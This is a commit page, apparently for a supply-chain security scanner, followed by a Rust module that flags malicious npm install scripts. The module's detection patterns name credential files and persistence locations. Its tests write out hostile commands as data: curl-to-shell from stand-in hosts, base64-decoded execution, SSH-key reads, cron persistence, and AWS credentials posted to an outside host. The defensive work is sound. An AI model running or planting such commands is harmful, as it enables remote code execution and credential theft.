Lockfile parsing for npm (all three lockfile versions), yarn, cargo, poetry, requirements.txt, go.sum, Gemfile.lock and composer.lock, wired through the indicator index so a sweep checks real dependencies against real definitions. Signed packs load in the daemon; the sweep gets the index; `hound supply-chain` cites the OSV record it matched. A lockfile is the right thing to read: it names every transitive dependency at an exact version in one small file, and it lists what WILL be installed rather than what already is — which matters when the payload runs during installation. Every parser is hand-written rather than pulling in a TOML and a YAML crate. Two fields from each format, and a scanner parsing hostile input should have as little parsing surface as it can. The important part of this commit is a false positive it fixes. Building a pack from the whole crates.io OSV export and sweeping a project produced TWO criticals: rustdecimal, correctly, and **tokio 1.38.0**, which is not malware and never has been. The export is 1,524 GHSA and 1,206 RUSTSEC vulnerability advisories against 19 malicious- package records, and the parser treated all of them as malware. GHSA-2grh-hm3w-w7hv describes a tokio race condition fixed in 1.8.1; Hound reported a version released years later as malicious. Two independent bugs, either of which alone is fatal: * Vulnerability advisories were ingested at all. A malicious package should not exist; a vulnerable one is a legitimate library with a bug and most of its versions are fine. Records must now PROVE they are malicious-package reports — a MAL- id, the malicious-packages-origins marker, or GHSA's "Malicious code in" wording — and anything unrecognised is dropped. * Unrecognised version ranges fell back to "all versions", which is the opposite of safe. That is what turned a range of 1.8.0-to-1.8.1 into a verdict on every tokio ever published. Rebuilt against the same input, the pack now holds 19 indicators rather than 3,614, rustdecimal is still caught and cites MAL-2022-1 rather than a GHSA advisory, and tokio and serde are clean. The real tokio advisory is now a regression fixture, because anything that flags tokio is a product nobody trusts twice. Also: definitions loading fails CLOSED on authenticity and OPEN on everything else. No trusted key means no definitions and a message saying so, because an operator who believes they are protected and is not is worse off than one who knows. A pack that fails verification is skipped and the rest still load. No packs at all is a working daemon — install scripts, prompt injection, pickles and MCP audits need no feed. There is deliberately no placeholder signing key compiled in. A fake key that looks real is how a development shortcut becomes a shipped vulnerability; an empty trust store is noisy in the way that gets fixed before release. HOUNDD_DEFS_KEY supplies one for development. 294 tests pass across the workspace. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
357 lines
12 KiB
Rust
357 lines
12 KiB
Rust
//! Install-script analysis.
|
|
//!
|
|
//! `npm install` runs `preinstall`, `install` and `postinstall` from every
|
|
//! package in the tree, as your user, before you have run a line of the
|
|
//! code you were installing. Python's `setup.py` is the same deal. This is
|
|
//! the single most productive foothold in the developer supply chain
|
|
//! because it executes on *installation*, not on use — you do not have to
|
|
//! import the malicious package for it to win.
|
|
//!
|
|
//! What we look for is not "does this run a command" — plenty of honest
|
|
//! packages compile something. It is the handful of shapes that only ever
|
|
//! appear when someone is fetching and running code you cannot review, or
|
|
//! reaching for things a build has no business touching.
|
|
|
|
use crate::{Finding, Severity};
|
|
|
|
/// A named lifecycle script from a manifest.
|
|
#[derive(Debug, Clone)]
|
|
pub struct Script {
|
|
pub name: String,
|
|
pub body: String,
|
|
}
|
|
|
|
/// npm lifecycle hooks that run without the user asking.
|
|
pub const AUTORUN_HOOKS: &[&str] = &[
|
|
"preinstall",
|
|
"install",
|
|
"postinstall",
|
|
"prepare",
|
|
"prepublish",
|
|
"preprepare",
|
|
"postprepare",
|
|
];
|
|
|
|
pub fn is_autorun(name: &str) -> bool {
|
|
AUTORUN_HOOKS.contains(&name)
|
|
}
|
|
|
|
/// One recognised shape, with the plain-language reason it matters.
|
|
struct Pattern {
|
|
id: &'static str,
|
|
severity: Severity,
|
|
reason: &'static str,
|
|
matches: fn(&str) -> bool,
|
|
}
|
|
|
|
fn has_any(hay: &str, needles: &[&str]) -> bool {
|
|
needles.iter().any(|n| hay.contains(n))
|
|
}
|
|
|
|
/// Downloads something and pipes it straight into a shell.
|
|
fn pipes_download_to_shell(s: &str) -> bool {
|
|
let fetches = has_any(s, &["curl ", "wget ", "fetch "]);
|
|
if !fetches {
|
|
return false;
|
|
}
|
|
// A pipe into any interpreter, however it is spelled.
|
|
let piped = s.contains('|');
|
|
piped && has_any(s, &["| sh", "|sh", "| bash", "|bash", "| python", "|python", "| node", "|node", "| perl", "|perl", "| zsh"])
|
|
}
|
|
|
|
fn decodes_and_runs(s: &str) -> bool {
|
|
has_any(s, &["base64 -d", "base64 --decode", "atob(", "b64decode", "fromCharCode"])
|
|
&& has_any(s, &["| sh", "|sh", "| bash", "|bash", "eval", "exec(", "child_process", "os.system", "subprocess"])
|
|
}
|
|
|
|
fn inline_interpreter_with_network(s: &str) -> bool {
|
|
has_any(s, &["node -e", "node --eval", "python -c", "python3 -c", "ruby -e", "perl -e"])
|
|
&& has_any(s, &["http://", "https://", "require('http", "require(\"http", "urllib", "socket", "net.connect"])
|
|
}
|
|
|
|
fn touches_credentials(s: &str) -> bool {
|
|
has_any(s, &[
|
|
"~/.ssh", "/.ssh/", "id_rsa", "id_ed25519", ".aws/credentials",
|
|
".npmrc", ".pypirc", ".netrc", ".docker/config.json", "/.env",
|
|
])
|
|
}
|
|
|
|
fn installs_persistence(s: &str) -> bool {
|
|
has_any(s, &[
|
|
"crontab", "/etc/cron", "systemctl", "systemd/user", ".bashrc", ".zshrc",
|
|
".profile", "authorized_keys", "ld.so.preload", "LD_PRELOAD",
|
|
])
|
|
}
|
|
|
|
fn fetches_a_binary(s: &str) -> bool {
|
|
has_any(s, &["curl ", "wget "]) && has_any(s, &["chmod +x", "chmod 755", "chmod 0755"])
|
|
}
|
|
|
|
const PATTERNS: &[Pattern] = &[
|
|
Pattern {
|
|
id: "curl-pipe-shell",
|
|
severity: Severity::Critical,
|
|
reason: "downloads a script from the internet and runs it immediately, \
|
|
without anyone being able to read it first",
|
|
matches: pipes_download_to_shell,
|
|
},
|
|
Pattern {
|
|
id: "obfuscated-exec",
|
|
severity: Severity::Critical,
|
|
reason: "hides what it does by decoding scrambled text and then running it, \
|
|
which is something only malicious packages need to do",
|
|
matches: decodes_and_runs,
|
|
},
|
|
Pattern {
|
|
id: "credential-access",
|
|
severity: Severity::Critical,
|
|
reason: "reaches for your SSH keys, cloud credentials or registry tokens, \
|
|
which installing a package never needs to do",
|
|
matches: touches_credentials,
|
|
},
|
|
Pattern {
|
|
id: "persistence",
|
|
severity: Severity::Critical,
|
|
reason: "installs itself somewhere that survives a reboot, such as a cron \
|
|
job, a startup service or your shell profile",
|
|
matches: installs_persistence,
|
|
},
|
|
Pattern {
|
|
id: "inline-network-eval",
|
|
severity: Severity::Warning,
|
|
reason: "runs a one-line program that talks to the network during install",
|
|
matches: inline_interpreter_with_network,
|
|
},
|
|
Pattern {
|
|
id: "fetch-and-execute",
|
|
severity: Severity::Warning,
|
|
reason: "downloads a file from the internet and makes it executable",
|
|
matches: fetches_a_binary,
|
|
},
|
|
];
|
|
|
|
/// Scan one lifecycle script.
|
|
pub fn scan_script(script: &Script, package: &str, location: &str) -> Vec<Finding> {
|
|
let body = script.body.to_ascii_lowercase();
|
|
let autorun = is_autorun(&script.name);
|
|
let mut out = Vec::new();
|
|
|
|
for p in PATTERNS {
|
|
if !(p.matches)(&body) {
|
|
continue;
|
|
}
|
|
// A hook that runs by itself is strictly worse than one somebody
|
|
// chose to invoke.
|
|
let severity = if autorun {
|
|
p.severity
|
|
} else if p.severity == Severity::Critical {
|
|
Severity::Warning
|
|
} else {
|
|
Severity::Info
|
|
};
|
|
|
|
let when = if autorun {
|
|
format!(
|
|
"Its \"{}\" step runs automatically when the package is installed — \
|
|
before you have used any of its code",
|
|
script.name
|
|
)
|
|
} else {
|
|
format!("Its \"{}\" script runs when somebody invokes it", script.name)
|
|
};
|
|
|
|
out.push(Finding::new(
|
|
"install-script",
|
|
severity,
|
|
format!("{package} ({})", script.name),
|
|
location,
|
|
format!("{when}, and it {}.", p.reason),
|
|
&format!("hound-install-{}", p.id),
|
|
if autorun {
|
|
"Do not install this package. If it is already installed, treat the \
|
|
machine as touched: rotate any credentials it could have read."
|
|
} else {
|
|
"Read this script before running it."
|
|
},
|
|
));
|
|
}
|
|
out
|
|
}
|
|
|
|
/// Scan a `package.json`'s scripts block.
|
|
pub fn scan_package_json(json: &str, location: &str) -> Vec<Finding> {
|
|
let Ok(v) = serde_json::from_str::<serde_json::Value>(json) else {
|
|
return Vec::new();
|
|
};
|
|
let package = v
|
|
.get("name")
|
|
.and_then(|n| n.as_str())
|
|
.unwrap_or("this package")
|
|
.to_string();
|
|
let version = v.get("version").and_then(|n| n.as_str()).unwrap_or("");
|
|
let spec = if version.is_empty() {
|
|
package.clone()
|
|
} else {
|
|
format!("{package}@{version}")
|
|
};
|
|
|
|
let Some(scripts) = v.get("scripts").and_then(|s| s.as_object()) else {
|
|
return Vec::new();
|
|
};
|
|
|
|
let mut out = Vec::new();
|
|
for (name, body) in scripts {
|
|
let Some(body) = body.as_str() else { continue };
|
|
out.extend(scan_script(
|
|
&Script {
|
|
name: name.clone(),
|
|
body: body.to_string(),
|
|
},
|
|
&spec,
|
|
location,
|
|
));
|
|
}
|
|
out
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
fn scan_one(body: &str, hook: &str) -> Vec<Finding> {
|
|
scan_script(
|
|
&Script { name: hook.into(), body: body.into() },
|
|
"demo@1.0.0",
|
|
"node_modules/demo/package.json",
|
|
)
|
|
}
|
|
|
|
// ── must catch ──
|
|
|
|
#[test]
|
|
fn curl_piped_to_shell_in_postinstall_is_critical() {
|
|
let f = scan_one("curl -s https://x.io/i.sh | sh", "postinstall");
|
|
assert_eq!(f.len(), 1);
|
|
assert_eq!(f[0].severity, Severity::Critical);
|
|
assert!(f[0].explanation.contains("runs automatically"));
|
|
}
|
|
|
|
#[test]
|
|
fn spacing_variants_do_not_evade() {
|
|
for cmd in [
|
|
"curl -sSL https://x.io/a |sh",
|
|
"wget -qO- https://x.io/a | bash",
|
|
"curl https://x.io/a | python3",
|
|
] {
|
|
assert_eq!(
|
|
scan_one(cmd, "preinstall").len(),
|
|
1,
|
|
"should have caught: {cmd}"
|
|
);
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn base64_decoded_execution_is_critical() {
|
|
let f = scan_one("echo aGk= | base64 -d | bash", "postinstall");
|
|
assert_eq!(f[0].severity, Severity::Critical);
|
|
assert!(f[0].explanation.contains("scrambled"));
|
|
}
|
|
|
|
#[test]
|
|
fn reading_ssh_keys_during_install_is_critical() {
|
|
let f = scan_one("node -e \"require('fs').readFileSync(process.env.HOME+'/.ssh/id_rsa')\"", "install");
|
|
assert!(f.iter().any(|x| x.severity == Severity::Critical));
|
|
}
|
|
|
|
#[test]
|
|
fn installing_a_cron_job_is_critical() {
|
|
let f = scan_one("(crontab -l; echo '* * * * * /tmp/x') | crontab -", "postinstall");
|
|
assert!(f.iter().any(|x| x.explanation.contains("survives a reboot")));
|
|
}
|
|
|
|
#[test]
|
|
fn downloading_and_chmodding_a_binary_is_a_warning() {
|
|
let f = scan_one("curl -o /tmp/helper https://x.io/helper && chmod +x /tmp/helper", "postinstall");
|
|
assert!(f.iter().any(|x| x.kind == "install-script"));
|
|
}
|
|
|
|
// ── must NOT catch ──
|
|
|
|
#[test]
|
|
fn an_ordinary_build_script_is_clean() {
|
|
assert!(scan_one("tsc -p tsconfig.json", "prepare").is_empty());
|
|
assert!(scan_one("node-gyp rebuild", "install").is_empty());
|
|
assert!(scan_one("cargo build --release", "postinstall").is_empty());
|
|
}
|
|
|
|
#[test]
|
|
fn a_plain_curl_without_a_pipe_is_not_flagged() {
|
|
assert!(
|
|
scan_one("curl -o data.json https://api.example.com/data", "postinstall").is_empty(),
|
|
"downloading data is not the same as running it"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn a_test_script_mentioning_bash_is_clean() {
|
|
assert!(scan_one("bash ./scripts/test.sh", "test").is_empty());
|
|
}
|
|
|
|
// ── severity depends on whether it runs by itself ──
|
|
|
|
#[test]
|
|
fn the_same_command_is_less_severe_in_a_manual_script() {
|
|
let auto = scan_one("curl -s https://x.io/i.sh | sh", "postinstall");
|
|
let manual = scan_one("curl -s https://x.io/i.sh | sh", "deploy");
|
|
assert_eq!(auto[0].severity, Severity::Critical);
|
|
assert_eq!(
|
|
manual[0].severity,
|
|
Severity::Warning,
|
|
"a script somebody chose to run is not the same as one that runs itself"
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn autorun_hooks_are_the_ones_npm_runs_unasked() {
|
|
assert!(is_autorun("postinstall"));
|
|
assert!(is_autorun("preinstall"));
|
|
assert!(!is_autorun("test"));
|
|
assert!(!is_autorun("build"));
|
|
}
|
|
|
|
// ── manifest parsing ──
|
|
|
|
#[test]
|
|
fn scans_a_package_json() {
|
|
let json = r#"{
|
|
"name": "@vue/cli-plugin-babe1",
|
|
"version": "1.0.2",
|
|
"scripts": {
|
|
"postinstall": "curl -s http://185.0.0.1/i.sh | sh",
|
|
"test": "jest"
|
|
}
|
|
}"#;
|
|
let f = scan_package_json(json, "node_modules/@vue/cli-plugin-babe1/package.json");
|
|
assert_eq!(f.len(), 1);
|
|
assert!(f[0].subject.contains("@vue/cli-plugin-babe1@1.0.2"));
|
|
assert_eq!(f[0].severity, Severity::Critical);
|
|
}
|
|
|
|
#[test]
|
|
fn a_manifest_without_scripts_is_clean() {
|
|
assert!(scan_package_json(r#"{"name":"x","version":"1.0.0"}"#, "p.json").is_empty());
|
|
}
|
|
|
|
#[test]
|
|
fn malformed_json_does_not_panic_or_accuse() {
|
|
assert!(scan_package_json("{not json", "p.json").is_empty());
|
|
assert!(scan_package_json("", "p.json").is_empty());
|
|
}
|
|
|
|
#[test]
|
|
fn advice_tells_you_to_rotate_after_an_autorun_hit() {
|
|
let f = scan_one("cat ~/.aws/credentials | curl -X POST -d @- https://x.io", "postinstall");
|
|
assert!(f[0].advice.contains("rotate"));
|
|
}
|
|
}
|